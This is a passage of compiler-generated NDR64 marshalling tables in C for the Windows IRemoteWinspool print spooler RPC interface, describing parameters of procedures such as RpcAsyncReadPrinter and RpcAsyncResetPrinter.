}\n};\n\nstatic const __midl_frag1052_t __midl_frag1052 =\n{ \n/* __MIDL_IRemoteWinspool_0029 */\n    { \n    /* __MIDL_IRemoteWinspool_0029 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag1053,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag1034,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag1103,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag1037,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag1042,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag1039,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag1050_t __midl_frag1050 =\n{ \n/* RPC_PrintNamedProperty */\n    { \n    /* RPC_PrintNamedProperty */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_PrintNamedProperty */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag1049_t __midl_frag1049 =\n{ \n/* RPC_PrintNamedProperty */\n    { \n    /* RPC_PrintNamedProperty */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_PrintNamedProperty */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1050\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1052\n        },\n        { \n        /* RPC_PrintPropertyValue */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1048_t __midl_frag1048 =\n{ \n/* *RPC_PrintNamedProperty */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1049\n};\n\nstatic const __midl_frag1045_t __midl_frag1045 =\n{ \n/* RpcAsyncSetJobNamedProperty */\n    { \n    /* RpcAsyncSetJobNamedProperty */      /* procedure RpcAsyncSetJobNamedProperty */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pProperty */      /* parameter pProperty */\n        &__midl_frag1049,\n        { \n        /* pProperty */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1043_t __midl_frag1043 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1040\n    }\n};\n\nstatic const __midl_frag1042_t __midl_frag1042 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag1040_t __midl_frag1040 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1076\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag1039_t __midl_frag1039 =\n{ \n/* __MIDL_IRemoteWinspool_0030 */\n    { \n    /* __MIDL_IRemoteWinspool_0030 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* __MIDL_IRemoteWinspool_0030 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag1043,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1037_t __midl_frag1037 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag1034_t __midl_frag1034 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1102\n};\n\nstatic const __midl_frag1032_t __midl_frag1032 =\n{ \n/* __MIDL_IRemoteWinspool_0029 */\n    { \n    /* __MIDL_IRemoteWinspool_0029 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag1079,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag1034,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag1103,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag1037,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag1042,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag1039,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag1031_t __midl_frag1031 =\n{ \n/* RPC_PrintPropertyValue */\n    { \n    /* RPC_PrintPropertyValue */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_PrintPropertyValue */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1032\n        },\n        { \n        /* RPC_PrintPropertyValue */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1030_t __midl_frag1030 =\n{ \n/* *RPC_PrintPropertyValue */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1031\n};\n\nstatic const __midl_frag1025_t __midl_frag1025 =\n{ \n/* RpcAsyncGetJobNamedPropertyValue */\n    { \n    /* RpcAsyncGetJobNamedPropertyValue */      /* procedure RpcAsyncGetJobNamedPropertyValue */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1102,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pValue */      /* parameter pValue */\n        &__midl_frag1031,\n        { \n        /* pValue */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1023_t __midl_frag1023 =\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag10\n};\n\nstatic const __midl_frag1022_t __midl_frag1022 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag1021_t __midl_frag1021 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1022\n};\n\nstatic const __midl_frag1020_t __midl_frag1020 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag1019_t __midl_frag1019 =\n{ \n/* RpcAsyncResetPrinter */\n    { \n    /* RpcAsyncResetPrinter */      /* procedure RpcAsyncResetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1020,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag1021,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1018_t __midl_frag1018 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1016_t __midl_frag1016 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1018\n};\n\nstatic const __midl_frag1014_t __midl_frag1014 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag1013_t __midl_frag1013 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1012_t __midl_frag1012 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1013\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1014\n    }\n};\n\nstatic const __midl_frag1011_t __midl_frag1011 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1012\n};\n\nstatic const __midl_frag1009_t __midl_frag1009 =\n{ \n/* RpcAsyncReadPrinter */\n    { \n    /* RpcAsyncReadPrinter */      /* procedure RpcAsyncReadPrinter */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1020,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag1012,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1018,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcNoBytesRead */      /* parameter pcNoBytesRead */\n        &__midl_frag1018,\n        { \n        /* pcNoBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1006_t __midl_frag1006 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1022\n};\n\nstatic const __midl_frag1001_t __midl_frag1001 =\n{ \n/* RpcAsyncDeletePrinterDriverPackage */\n    { \n    /* RpcAsyncDeletePrinterDriverPackage */      /* procedure RpcAsyncDeletePrinterDriverPackage */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1021,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 